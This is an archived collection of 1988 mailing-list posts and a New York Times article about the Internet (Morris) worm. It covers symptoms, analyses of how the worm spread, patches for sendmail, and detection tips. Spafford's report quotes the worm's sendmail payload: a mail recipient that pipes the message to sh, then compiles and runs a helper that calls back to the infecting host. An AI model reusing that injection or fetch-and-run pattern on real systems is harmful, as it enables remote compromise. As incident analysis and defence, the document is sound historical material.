textfiles/internet/unixworm.txt

From: Stoll@DOCKMASTER.ARPA
Subject:  Virus on the Arpanet - Milnet
Date:  Thu, 3 Nov 88 06:46 EST

Re Arpanet "Sendmail" Virus attack November 3, 1988

Hi Gang!

It's now 3:45 AM on Wednesday 3 November 1988.  I'm tired, so don't
believe everything that follows... 

Apparently, there is a massive attack on Unix systems going on right
now. 

I have spoken to systems managers at several computers, on both the east
& west coast, and I suspect this may be a system wide problem. 

Symptom: hundreds or thousands of jobs start running on a Unix system
bringing response to zero. 

Systems attacked: Unix systems, 4.3BSD unix & variants (eg: SUNs) any
sendmail compiled with debug has this problem.  See below. 

This virus is spreading very quickly over the Milnet.  Within the past 4
hours, I have evidence that it has hit >10 sites across the country,
both Arpanet and Milnet sites.  I suspect that well over 50 sites have
been hit.  Most of these are "major" sites and gateways. 

Method:

Apparently, someone has written a program that uses a hole in SMTP
Sendmail utility.  This utility can send a message into another program. 

Step 1:  from a distant Milnet host, a message is sent to Sendmail
       to fire up SED, (SED is an editor)  This is possible in certain
       versions of sendmail (see below).

2:  A 99 line C program is sent to SED through Sendmail.

3:  The distant computer sends a command to compile this C program.

4:  Several object files are copied into the Unix computer.
        There are 3 files:  one targeted to Sun
                            one targeted to SUN-3
                            one targeted to vax    (ultrix probably, not vms)

5:  The C program accepts as address other Milnet sites

6:  Apparently, program scans for other Milnet/arpanet addresses and
     repeats this process.

The bug in Sendmail:

When the Unix 4.3 BSD version of Sendmail is compiled with the Debug
option, there's a hole in it. 

Most Unix systems (BSD 4.3 and Suns) apparently do not have this bug. 
It exists only where the system manager recompiled Sendmail and enabled
debugging. 

This is bad news.

  Cliff Stoll dockmaster.arpa

----------------------------------------------------------------------
From: Gene Spafford <spaf@purdue.edu>
Subject: More on the virus
Date: Thu, 03 Nov 88 09:52:18 EST

All of our Vaxen and some of our Suns here were infected with the virus. 
The virus forks repeated copies of itself as it tries to spread itself,
and the load averages on the infected machines skyrocketed.  In fact, it
got to the point that some of the machines ran out of swap space and
kernel table entries, preventing login to even see what was going on!

The virus seems to consist of two parts.  I managed to grab the source
code for one part, but not the main component (the virus cleans up after
itself so as not to leave evidence).  The way that it works is as
follows:

1) Virus running on an infected machine opens a TCP connection to a
victim machine's sendmail, invokes debug mode, and gets a shell. 

2) The shell creates a file in /tmp named $$,l1.c (where the $$ gets
replaced by the current process id) and copies code for a "listener" or
"helper" program.  This is just a few dozen lines long and fairly
generic code.  The shell compiles this helper using the "cc" command
local to the system. 

3) The helper is invoked with arguments pointing back at the infecting
virus (giving hostid/socket/passwords as arguments). 

4) The helper then connects to the "server" and copies a number of files
(presumably to /tmp).  After the files are copied, it exec's a shell
with standard input coming from the infecting virus program on the other
end of the socket. 

From here, I speculate on what happens since I can't find the source to
this part lying around on our machines:

5) The newly exec'd shell attempts to compile itself from the files
copied over to the target machine.  I'm not sure what else the virus
does, if anything -- it may also be attempting to add a bogus passwd
file entry or do something to the file system.  The helper program has
an array of 20 filenames for the "helper" to copy over, so there is room
to spare.  There are two versions copied -- a version for Vax BSD and a
version for SunOS; the appropriate one is compiled. 

6) The new virus is dispatched.  This virus opens all the virus source
files, then unlinks the files so they can't be found (since it has them
open, however, it can still access the contents).  Next, the virus steps
through the hosts file (on the Sun, it uses YP to step through the
distributed hosts file) trying to connect to other machines' sendmail. 
If a connection succeeds, it forks a child process to infect it, while
the parent continues to attempt infection of other machines. 

7) The child requests and initializes a new socket, then builds and
invokes a listener with the new socket number and hostid as arguments
(#1, above). 

The heavy load we see is the result of multiple viruses coming in from
multiple sites.  Since local hosts files tend to have entries for other
local hosts, the virus tends to infect local machines multiple times --
in some senses this is lucky since it helps prevent the spread of the
virus as the local machines slow down. 

The virus also "cleans" up after itself.  If you reboot an infected
machine (or it crashes), the /tmp directory is normally cleaned up on
reboot.  The other incriminating files were already deleted by the virus
itself. 

Clever, nasty, and definitely anti-social.  

--spaf

---------------------------------------------------------------------------
From: bishop@bear.Dartmouth.EDU (Matt Bishop)
Subject: More on the virus
Date: Thu, 3 Nov 88 16:32:25 EST

...  This program introduced itself through a bug in sendmail.  At these
sites, sendmail was compiled and installed with a debugging option
turned on.  As near as I can figure (I don't have access to the sendmail
sources), by giving a specific option to the "debug" command in sendmail
(there are lots of those, controlling what exactly you get information
about) you can cause it to execute a command.  As sendmail runs setuid
to root, guess what privileges the command is executed with.  Right. 

	Apparently what the attacker did was this: he or she connected
to sendmail (ie, telnet victim.machine 25), issued the appropriate debug
command, and had a small C program compiled.  (We have it.  Big deal.)
This program took as an argument a host number, and copied two programs
-- one ending in q.vax.o and the other ending in .sun.o -- and tried to
load and execute them.  In those cases where the load and execution
succeeded, the worm did two things (at least): spawn a lot of shells
that did nothing but clog the process table and burn CPU cycles; look in
two places -- the password file and the internet services file -- for
other sites it could connect to (this is hearsay, but I don't doubt it
for a minute.) It used both individual .rhost files (which it found
using the password file), and any other remote hosts it could locate
which it had a chance of connecting to.  It may have done more; one of
our machines had a changed superuser password, but because of other
factors we're not sure this worm did it. 

	This last part is still sketchy; I have the relevant sun.o file
and will take it apart to see just what it was supposed to do.  As of
now, it appears there was no serious damage (just wasted CPU cycles and
system administrator time). 

   Two obvious points:

1.  Whoever did this picked only on suns and vaxen.  One site with a lot
    of IRISes and two Crays (ie, NASA Ames) got bit on their Suns and Vaxen,
    but the attempt to get the other machines didn't work.

2.  This shows the sorry state of software and security in the UNIX world.
    People should NEVER put a program with debugging hooks in it, especially
    when the hook is (or can be made) to execute an arbitrary command.  But
    that is how the sendmail which was used was distributed!

	One more interesting point: initially, I thought an application
of the "principle of least privilege" would have prevented this
penetration.  But the attacker used a world-writeable directory to
squirrel the relevant programs in, so -- in effect -- everything could
have been done by any user on the system! (Except the superuser password
change, of course -- if this worm did in fact do it.)

	I think the only way to prevent such an attack would have been
to turn off the deug option on sendmail; then the penetration would
fail.  It goes to show that if the computer is not secure (and like you,
I don't believe there ever will be such a beastie), there is simply no
way to prevent a virus (or, in this case, a worm) from getting into that
system. 

	I know this is somewhat sketchy, flabby, and fuzzy, but it's all
I know so far.  I'll keep you posted on developments ... 

Matt

------------------------------------------------------------------------
From: bostic@okeeffe.Berkeley.EDU (Keith Bostic)
Subject: Virus (READ THIS IMMEDIATELY)
Date: 3 Nov 88 10:58:55 GMT


Subject: Fixes for the virus
Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD

Description:
	There's a virus running around; the salient facts.  A bug in
	sendmail has been used to introduce a virus into a lot of
	Internet UNIX systems.  It has not been observed to damage the
	host system, however, it's incredibly virulent, attempting to
	introduce itself to every system it can find.  It appears to
	use rsh, broken passwords, and sendmail to introduce itself
	into the target systems.  It affects only VAXen and Suns, as
	far as we know.  

	There are three changes that we believe will immunize your
	system.  They are attached.

	Thanks to the Experimental Computing Facility, Center for
	Disease Control for their assistance.  (It's pretty late,
	and they certainly deserved some thanks, somewhere!)

Fix:
	First, either recompile or patch sendmail to disallow the `debug'
	option.  If you have source, recompile sendmail after first
	applying the following patch to the module svrsmtp.c:

		*** /tmp/d22039	Thu Nov  3 02:26:20 1988
		--- srvrsmtp.c	Thu Nov  3 01:21:04 1988
		***************
		*** 85,92 ****
		  	"onex",		CMDONEX,
		  # ifdef DEBUG
		  	"showq",	CMDDBGQSHOW,
		- 	"debug",	CMDDBGDEBUG,
		  # endif DEBUG
		  # ifdef WIZ
		  	"kill",		CMDDBGKILL,
		  # endif WIZ
		--- 85,94 ----
		  	"onex",		CMDONEX,
		  # ifdef DEBUG
		  	"showq",	CMDDBGQSHOW,
		  # endif DEBUG
		+ # ifdef notdef
		+ 	"debug",	CMDDBGDEBUG,
		+ # endif notdef
		  # ifdef WIZ
		  	"kill",		CMDDBGKILL,
		  # endif WIZ

	Then, reinstall sendmail, refreeze the configuration file,
	using the command "/usr/lib/sendmail -bz", kill any running
	sendmail's, using the ps(1) command and the kill(1) command,
	and restart your sendmail.  To find out how sendmail is 
	execed on your system, use grep(1) to find the sendmail start
	line in either the files /etc/rc or /etc/rc.local

	If you don't have source, apply the following patch to your
	sendmail binary.  SAVE A COPY OF IT FIRST, IN CASE YOU MESS
	UP!  This is mildly tricky -- note, some versions of strings(1),
	which we're going to use to find the offset of the string 
	"debug" in the binary print out the offsets in octal, not
	decimal.  Run the following shell line to decide how your
	version of strings(1) works:

		/bin/echo 'abcd' | /usr/ucb/strings -o 

	Note, make sure the eight control 'G's are preserved in this
	line.  If this command results in something like:

		0000008 abcd

	your strings(1) command prints out locations in decimal, else
	it's octal.

	The patch script for sendmail.  NOTE, YOUR OFFSETS MAY VARY!!
	This script assumes that your strings(1) command prints out
	the offsets in decimal.  

		Script started on Thu Nov  3 02:08:14 1988
		okeeffe:tmp {2} strings -o -a /usr/lib/sendmail | egrep debug
		0096972 debug
		okeeffe:tmp {3} adb -w /usr/lib/sendmail
		?m 0 0xffffffff 0
		0t10$d
		radix=10 base ten
		96972?s
		96972:		debug
		96972?w 0
		96972:		25701	=	0
		okeeffe:tmp {4} ^D
		script done on Thu Nov  3 02:09:31 1988

	If your strings(1) command prints out the offsets in octal,
	change the line "0t10$d" to "0t8$d".

	After you've fixed sendmail, move both /bin/cc and /bin/ld to
	something else.  (The virus uses the cc and the ld commands
	to rebuild itself to run on your system.)

	Finally, kill any processes on your system that don't belong there.
	Suspicious ones have "(sh)" or "xNNNNNNN" where the N's are random
	digits, as the command name on the ps(1) output line.

	One more thing, if you find files in /tmp or /usr/tmp that 
	have names like "xNNNNNN,l1.c", or "xNNNNNN,sun3.o", or
	"xNNNNNNN,vax.o" where the N's are random digits, you've been
	infected.


------------------------------------------------------------------------
From: news@cs.purdue.EDU (News Knower)
Subject: Re: The virus
Date: 3 Nov 88 19:58:27 GMT

The patch from Keith Bostic in the last message is *not* sufficient to
halt the spread of the virus.  We have discovered from looking at the
binaries that the virus also attempts to spread itself via "rsh"
commands to other machines.  It looks through a *lot* of files to find
possible vectors to spread. 

If you have a bunch of machines with hosts.equiv set or .rhosts files,
you should shut them *all* down at the same time after you have fixed
sendmail to prevent a further infestation.  If you don't clear out the
versions in memory, you won't protect your other machines. 

The virus runs itself with the name "sh" and then overwrites argv, so if
a "ps ax" shows any processes named "(sh)" without a controlling tty,
you have a problem.  Due to the use of other uids from rsh, don't make
any conclusions if the uid is one of your normal users. 

Also, check your mailq (do a mailq command).  If you see any entries
that pipe themselves through sed and sh, delete them from the queue
before you restart your machines. 

Non-internet sites do not need to worry about this virus (for now!), but
be aware that mail and news may not be flowing everywhere for some time
-- many sites are disconnecting from the Internet completely until the
virus is contained.

-----------------------------------------------------------------------
From: Gene Spafford <spaf@purdue.edu>
Subject: Updated worm report
Date: Fri, 04 Nov 88 00:27:54 EST

This is an updated description of how the worm works (note: it is
technically a worm, not a virus, since it does not attach itself to
other code {that we know about}):

All of our Vaxen and some of our Suns here were infected with the worm. 
The worm forks repeated copies of itself as it tries to spread itself,
and the load averages on the infected machines skyrocketed.  In fact, it
got to the point that some of the machines ran out of swap space and
kernel table entries, preventing login to even see what was going on!

The worm seems to consist of two parts.  The way that it works is as
follows:

1) Virus running on an infected machine opens a TCP connection to a
victim machine's sendmail, invokes debug mode, and submits a version of
itself as a mail message. 

*OR* it uses rsh to create itself on the remote machine through an
account requiring no password (due to hosts.equiv or .rhosts entries). 
*OR* it gets in via a bug in fingerd *OR* it uses telnet (more on this
later). 

Using the sendmail route, it does something like:
From: /dev/null
To: "|sed -e 1,/^$/d | sh; exit 0"

cd /usr/tmp
cat > x14481910.c <<'EOF'
<text of program deleted?
EOF
cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440;rm -f x14481910 x14481910.c

2) This program is a simple "listener" or "helper" program of about a
hundred lines of fairly simple code.  As you can see, the helper is
invoked with arguments pointing back at the infecting worm (giving
hostid/socket/checksum(?) as arguments). 

3) The helper then connects to the "server" and copies a number of files
(presumably to /tmp).  After the files are copied, it exec's a shell
with standard input coming from the infecting worm program on the other
end of the socket. 

From here, I speculate on what happens since I can't find the source to
this part lying around on our machines:

4) The newly exec'd shell attempts to compile itself from the files copied over
to the target machine.  The command file it uses is as follows:

PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x%d
else
P=sh
cc -o $P %s
/bin/echo %s
./$P -p $$ 

5) This creates and dispatches the new worm..  This worm opens all the
worm source files, then unlinks the files so they can't be found (since
it has them open, however, it can still access the contents).  Next, the
worm steps through the hosts file (on the Sun, it uses YP to step
through the distributed hosts file) trying to connect to other machines'
sendmail.  If a connection succeeds, it forks a child process to infect
it, while the parent continues to attempt infection of other machines. 

6) The child requests and initializes a new socket, then builds and
invokes a listener with the new socket number and hostid as arguments
(#1, above). 

Other notes:

The worm runs in stages.  It first collects info from the /etc/hosts
files, the hosts.equiv file, and other files containing host names and
host IP addresses.  It even runs netstat to find out what networks the
machine is attached to! It uses this information to attempt to penetrate
sendmail on those machines.  It also knows how to penetrate "fingerd" on
Vaxen (on Suns, the attempt results in a core dump).  I will privately
tell individuals how to fix the bug in fingerd, but for now change it so
it does not run as "root". 

After this first stage, it appears to sleep for a while.  Then it starts
collecting user names and it begins probing with "rsh".  It also tries
to attack the passwords by trying a set of built-in words, the contents
of /usr/dict, and words snarfed from system files.  If it succeeds in
breaking a local password, it forks a child to use telnet to break into
that account and copy itself. 

As I write this, no one seems to know what it is supposed to eventually
do.  Perhaps it just breaks in everywhere it can.  We do know that if it
doesn't break into any accounts or systems for a while, it enters a mode
where it tries to break the root password via brute force searching.  We
suspect that if it succeeds it then does very nasty things. 

Other notes:

The program corrupts its argument vector, so it appears in a "ps ax" as
"(sh)" (a login shell).  Don't trust any of these if you have them
running. 

The program doesn't copy around source files (except the helper) -- it
copies around pre-compiled binaries that are linked on the local machine
and then run.  The worm appears to only be carrying binaries for
68020-based Suns and Vax 7xx and 8800 machines.  Pyramids, Sun 2's and
Sequents are all definitely immune.  (Note: an infected 8800 is an
awesome engine of contagion.)

The strings in the binaries are encrypted against a random "strings"
invocation.  If you have a binary, Keith Bostic informs me that Xor with
0x81 will reveal interesting things, although that is not the only mask
used. 

The first observation of the virus I have heard about was 6pm Wednesday
night in Pittsburgh.  It didn't hit Purdue until about 4 this morning. 
We were lucky in that other sites, like CMU and Princeton, were hit
around 11 last night. 

Acknowledgements: Some of the above information was obtained from Brian
Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue), Dan Trinkle
(Purdue), Kevin Braunsdorf (Purdue) and Miek Rowan (Purdue).  Thanks,
guys. 

---------------------------------------------------------------------------
From: Gene Spafford <spaf@purdue.edu>
Subject: A worm "condom"
Date: Thu, 03 Nov 88 21:20:10 EST

... Kevin Braunsdorf & Rich Kulawiec (Purdue-CC) have come up with a
"condom" to protect your machine against the CURRENT worm.  They are not
100% sure it works, but it seems to be completely effective and it can't
do any harm.  As ROOT, do:

mkdir /usr/tmp/sh
chmod 111 /usr/tmp/sh

Then edit your rc.local file to recreate the directory in case of a
reboot.  This will not stop a current infection, but it will prevent any
new ones from taking hold -- it prevents the worm from creating
replicas. 

... --spaf

-------------------------------------------------------------------------
From: Gene Spafford <spaf@purdue.edu>
Subject: A cure!!!!!
Date: Thu, 03 Nov 88 22:04:15 EST

FLASH!!

Kevin ("Adb's your friend.") Braunsdorf just burst into my office with a
cure discovered in the disassembled worm binary. 

If there is an external variable in the library named "pleasequit" that
is non-zero, the worm will die immediately after exiting.  Thus, to kill
any new worms, include a patch in your library that defines the symbol. 
The following shell file and source code will modify your C library to
define this symbol. 

It WON'T kill any currently linked and running versions, but it will
prevent reinfection. 

# Shar archive.  Give the following as input to /bin/sh
#  Packed Thu Nov  3 21:56:35 EST 1988 by spaf@uther.cs.purdue.edu
#
#  This archive contains:
#	foo.sh
#	foo.c
#
#
echo x - foo.sh
sed 's/^X//' >foo.sh <<'*-*-END-of-foo.sh-*-*'
Xcc -c foo.c -o foo.o
Xcp /lib/libc.a /lib/libc.a.old
Xar q /lib/libc.a foo.o
Xranlib /lib/libc.a
*-*-END-of-foo.sh-*-*
echo x - foo.c
sed 's/^X//' >foo.c <<'*-*-END-of-foo.c-*-*'
Xextern int pleasequit = -1;
*-*-END-of-foo.c-*-*
exit

------------------------------------------------------------------------
From: geoff@fernwood.mpk.ca.us (the tty of Geoff Goodfellow)
Subject: Computer Network Disrupted by `Virus'
Date: Thu, 3 Nov 88 21:30:19 PST

COMPUTER NETWORK DISRUPTED BY `VIRUS'
By JOHN MARKOFF=
c.1988 N.Y. Times News Service=

    In an intrusion that raises new questions about the vulnerability of
the nation's computers, a nationwide Department of Defense data network
has been disrupted since Wednesday night by a rapidly spreading
``virus'' software program apparently introduced by a computer science
student's malicious experiment. 

     The program reproduced itself through the computer network, making
hundreds of copies in each machine it reached, effectively clogging
systems linking thousands of military, corporate and university
computers around the country and preventing them from doing additional
work.  The virus is thought not to have destroyed any files. 

    By late Thursday afternoon computer security experts were calling
the virus the largest assault ever on the nation's computers. 

    ``The big issue is that a relatively benign software program can
virtually bring our computing community to its knees and keep it there
for some time,'' said Chuck Cole, deputy computer security manager at
Lawerence Livermore Laboratory in Livermore, Calif., one of the sites
affected by the intrusion.  ``The cost is going to be staggering.''

    Clifford Stoll,^ @a computer security expert at Harvard University,
added: ``There is not one system manager who is not tearing his hair
out.  It's causing enormous headaches.''

   The affected computers carry routine communications among military
officials, researchers and corporations. 

   While some sensitive military data are involved, the nation's most
sensitive secret information, such as that on the control of nuclear
weapons, is thought not to have been touched by the virus. 

   Computer viruses are so named because they parallel in the computer
world the behavior of biological viruses.  A virus is a program, or a
set of instructions to a computer, that is deliberately planted on a
floppy disk meant to be used with the computer or introduced when the
computer is communicating over telephone lines or data networks with
other computers. 

   The programs can copy themselves into the computer's master software,
or operating system, usually without calling any attention to
themselves.  From there, the program can be passed to additional
computers. 

   Depending upon the intent of the software's creator, the program
might cause a provocative but otherwise harmless message to appear on
the computer's screen.  Or it could systematically destroy data in the
computer's memory. 

   The virus program was apparently the result of an experiment by a
computer science graduate student trying to sneak what he thought was a
harmless virus into the Arpanet computer network, which is used by
universities, military contractors and the Pentagon, where the software
program would remain undetected. 

    A man who said he was an associate of the student said in a
telephone call to The New York Times that the experiment went awry
because of a small programming mistake that caused the virus to multiply
around the military network hundreds of times faster than had been
planned. 

   The caller, who refused to identify himself or the programmer, said
the student realized his error shortly after letting the program loose
and that he was now terrified of the consequences. 

   A spokesman at the Pentagon's Defense Communications Agency, which
has set up an emergency center to deal with the problem, said the
caller's story was a ``plausible explanation of the events.''

   As the virus spread Wednesday night, computer experts began a huge
struggle to eradicate the invader. 

   A spokesman for the Defense Communications Agency in Washington
acknowledged the attack, saying, ``A virus has been identified in
several host computers attached to the Arpanet and the unclassified
portion of the defense data network known as the Milnet.''

   He said that corrections to the security flaws exploited by the virus
are now being developed. 

   The Arpanet data communications network was established in 1969 and
is designed to permit computer researchers to share electronic messages,
programs and data such as project information, budget projections and
research results. 

   In 1983 the network was split and the second network, called Milnet,
was reserved for higher-security military communications.  But Milnet is
thought not to handle the most classified military information,
including data related to the control of nuclear weapons. 

   The Arpanet and Milnet networks are connected to hundreds of civilian
networks that link computers around the globe. 

   There were reports of the virus at hundreds of locations on both
coasts, including, on the East Coast, computers at the Massachusetts
Institute of Technology, Harvard University, the Naval Research
Laboratory in Maryland and the University of Maryland and, on the West
Coast, NASA's Ames Research Center in Mountain View, Calif.; Lawrence
Livermore Laboratories; Stanford University; SRI International in Menlo
Park, Calif.; the University of California's Berkeley and San Diego
campuses and the Naval Ocean Systems Command in San Diego. 

   A spokesman at the Naval Ocean Systems Command said that its computer
systems had been attacked Wednesday evening and that the virus had
disabled many of the systems by overloading them.  He said that computer
programs at the facility were still working on the problem more than 19
hours after the original incident. 

   The unidentified caller said the Arpanet virus was intended simply to
``live'' secretly in the Arpanet network by slowly copying itself from
computer to computer.  However, because the designer did not completely
understand how the network worked, it quickly copied itself thousands of
times from machine to machine. 

    Computer experts who disassembled the program said that it was
written with remarkable skill and that it exploited three security flaws
in the Arpanet network.  [No.  Actually UNIX] The virus' design included
a program designed to steal passwords, then masquerade as a legitimate
user to copy itself to a remote machine. 

    Computer security experts said that the episode illustrated the
vulnerability of computer systems and that incidents like this could be
expected to happen repeatedly if awareness about computer security risks
was not heightened. 

    ``This was an accident waiting to happen; we deserved it,'' said
Geoffrey Goodfellow,''(*) president of Anterior Technology Inc.  and an
expert on computer communications. 

   ``We needed something like this to bring us to our senses.  We have
not been paying much attention to protecting ourselves.''

   Peter Neumann, a computer security expert at SRI International Inc. 
in Menlo Park International, said: ``Thus far the disasters we have
known have been relatively minor.  The potential for rather
extraordinary destruction is rather substantial. 

    ``In most of the cases we know of, the damage has been immediately
evident.  But if you contemplate the effects of hidden programs, you
could have attacks going on and you might never know it.''


[* Following is Geoff's full quote ("exploitation"), which John only
partially integrated with Geoff's earlier off-the-cuff comment
("accident"):

    "This was an exploitation wanting to happen.  We deserved it.  We
needed something like this to bring us to our senses.  We have not been
paying much attention to protecting ourselves.  The blame does not rest
on the R&D community as a whole.  Look how many manufacturers [...] just
took the original computer-science-department developed code
willy-nilly, put their wrapper and corporate logo on it, and resold it
to customers.  That's the real travesty here, we build these systems,
OK, that's great, but we rarely build them and then ask how they might
be abused, broken, or circumvented" {and then try to break them}.  ]